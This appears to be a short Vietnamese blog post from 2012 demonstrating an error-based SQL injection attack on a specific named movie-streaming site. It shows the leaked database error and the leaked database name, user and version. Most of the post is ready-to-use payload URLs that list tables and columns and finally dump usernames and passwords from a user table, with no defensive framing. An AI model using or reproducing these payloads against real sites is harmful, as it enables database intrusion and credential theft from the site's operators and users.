Bài viết hot

SQL Injection

Lỗi MySQL Query - Xem24h.tk

Chủ Nhật, 8 tháng 7, 2012 | HaiClover

Demo:

http://xem24h.tk/phim/index.php

Code:

http://xem24h.tk/phim/index.php

thêm dấu ' trong ô seach thì báo lỗi:

Code:

Lỗi MySQL Query : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Code:

'+or+1+group+by+concat(database(),0x7c,user(),0x7c,version(),floor

(rand(0)*2))+having+min(0)+or+1--+

lỗi: Lỗi MySQL Query :

Code:

Duplicate entry 'hkmsjmls_phim|hkmsjmls_phim@localhost|5.5.141' for key 'group_key'

Table:
http://xem24h.tk/phim/search/hai'+or+1+group+by+concat_ws(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))+having+min(0)+or+1-- -
Column từ table_user

http://xem24h.tk/phim/search/hai'+or+1+group+by+concat_ws(0x7e,(select+column_name+from+information_schema.columns+where+table_schema=database() and table_name=0x7461626c655f75736572+limit 0,1),floor(rand(0)*2))+having+min(0)+or+1-- -

Data từ table_user

http://xem24h.tk/phim/search/hai'+or+1+group+by+concat_ws(0x7e,(select+concat(user_name,0x7c,user_password)+from table_user+limit 0,1),floor(rand(0)*2))+having+min(0)+or+1-- -

The End.

Tin mới cập nhật